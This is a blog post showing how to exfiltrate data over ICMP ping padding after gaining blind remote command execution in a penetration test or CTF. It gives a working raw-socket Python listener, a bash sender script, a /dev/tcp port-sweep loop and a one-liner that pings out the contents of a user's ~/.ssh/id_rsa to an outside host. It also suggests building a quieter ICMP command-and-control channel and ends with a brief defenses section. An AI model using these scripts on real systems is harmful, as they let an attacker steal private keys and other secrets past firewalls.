You are doing a penetration test or CTF and you've got remote command execution through a bug in a web application. Everything is going great except one big problem, your command execution is blind so you can't see the results of the commands you run. You have send the command ping -c 4 1.2.3.4 and seen the pings coming to your host so you know you are getting execution.

Your next step is to attempt various ways to get a reverse shell but they all seem to be failing so you fire up Wireshark and set it up to show all traffic from your target to your host. Then you run the following command.

for i in {1..65535}; do echo 1 > /dev/tcp/1.2.3.4/$i; done

You expect to see a bunch of tcp handshakes in wireshark along with reset packets sent by your machine because the port isn't open. Instead you see nothing. You repeate for UDP with the same result. The box is locked down so getting anything out is going to be tricky. What do you do?

What you know

  1. Inbound port 80 and 443 are open and being listened to by Apache (discovered through nmap)
  2. Inbound port 22 is open
  3. Outbound related ports must be allowed if the web server is workign
  4. You are able to ping the box so ICMP Request/Replies are at least allowed.
  5. All probed TCP/UDP ports appear to be blocked by a firewall
  6. You can execute command (as observed by executing a ping command to your local host)
  7. The target is running some flavor of Linux (again discovered via nmap/banners)
  8. The context we're executing under doesn't have permissions to write to the web directory (tried executing cp /etc/passwd /var/www/html/. along with other known dirs)

Ping to the rescue

So I've been playing around with one solution to this problem recently and figured it was deserving of a quick blog post (I haven't looked to see if others have covered this but I would assume they have). The solution is the simply linux ping tool. You see the ping tool has a feature that can help to exfiltrate data from a system using ICMP packets.

Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination

You see that little flag -p, it has an interesting use designed to help troubleshoot non-complient networks to see if there is an issue with the way the network is treating packets with a specific pattern in them.

-p pattern
              You may specify up to 16 ``pad'' bytes to fill out the packet you send.  This is useful for  diagnosing
              data-dependent  problems in a network.  For example, -p ff will cause the sent packet to be filled with
              all ones.

So you can see it allows us to specify up to 16 bytes that will be used to pad out the packet you send to get it to the requested sice. Yeah it sucks that all we can fit is 16 bytes but we can make it work.

One possible solution

So how do we make this work? Here is a very basic POC I wrote that allows you to execute commands and return the results over ICMP using the ping tool. I also will include a very basic python script to receive the packets and print the payload out.

The Listener

This is the simple python listener that would run on a system you control.

import socket
import sys

def recv():
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    while True:
        data, src = s.recvfrom(1508)
        payload = data[44:60]
        sys.stdout.write(payload)


if __name__ == '__main__':
    recv()

The Sender

This is written as a script you would execute. In the example given above we would need to convert this to a oneliner.

#!/usr/bin/env bash

# Make sure the user specified a destination and a command
if [[ -z "$1" ]] || [[ -z "$2" ]];
then
    echo "usage: exfil-icmp.bash <destination> <command>"
    exit 1
fi

DEST=$1                            # SET DEST TO THE FIRST ARG
CMD=${@:2}                         # SET CMD TO THE REST OF THE ARGS
OUTPUT=$($CMD | xxd -p -c 16)      # RUN THE COMMAND AND COVERT TO HEX, 16 BYTES PER LINE

ORG=$IFS                           # STORE THE ORIGINAL FIELD SEP
IFS=$(echo -en "\n\b")             # SET THE FIELD SEP

for ROW in ${OUTPUT[@]}            # LOOP THROUGH THE LINES OF OUTPUT
do
    if [[ ${#ROW} = 32 ]]; then    # IF THE LINE IS A FULL 16 BYTES SET AS PAYLOAD
        PAYLOAD=$ROW
    else                           # OTHERWISE PAD THE RIGHT SIDE WITH NULLS
        PAD=$(printf "%0$(expr 32 - ${#ROW})d" 0)
        PAYLOAD=$ROW$PAD
    fi
    
    # SEND THE PAYLOAD IN THE PING AND SWALLOW THE RESPONSE FROM PING
    RESPONSE=$(ping -c 1 -p $PAYLOAD $DEST)
done

IFS=$ORG                           # RESTORE THE ORIGINAL FIELD SEP

So if we wanted to do this as a oneliner we could do something like this which should have the same result.

CMD="cat ~/.ssh/id_rsa"; OUTPUT=$($CMD | xxd -p -c 16); for i in $OUTPUT[@]; do ping -c 1 -p $i 192.168.1.1; done

Assuming the user had a private ssh key this would allow us to steal the ssh key and get ssh access to the system.

Improvements

There are a lot of improvements that could be made to this. If we had the ability to do raw ICMP then we could build a c2 agent that communicated over ICMP. You could do stuff like encrypt the payloads or base64 encode them. You could look at the output of the ping command and resend payloads that failed to get through, you could use sequence numbers to reorder out of order payloads...needless to say there are a lot of ways you could improve this technique to make it more resilent and quiet.

Defenses

The simple defense against this given the extremely low likelyhood of a legit need to set the payload in an ICMP packet would be to use a mangle the data section of all ICMP packets on the network, I haven't actually tested or researched the easiest way to do this or if there are any side effects, for example if the ping tool freaks out if the payload in the reply is different then what it sent although you could always only mangle non-standard payloads. I assume if this functionality isn't built into netfilter's mangle (I think mangle may only work on the headers) then you could easily write a netfilter module that could do it or do it in a network based IDS/IPS. If I have time I may write a netfilter module (if the functionality isn't already there) and post it up.

YouTube Demonstration Video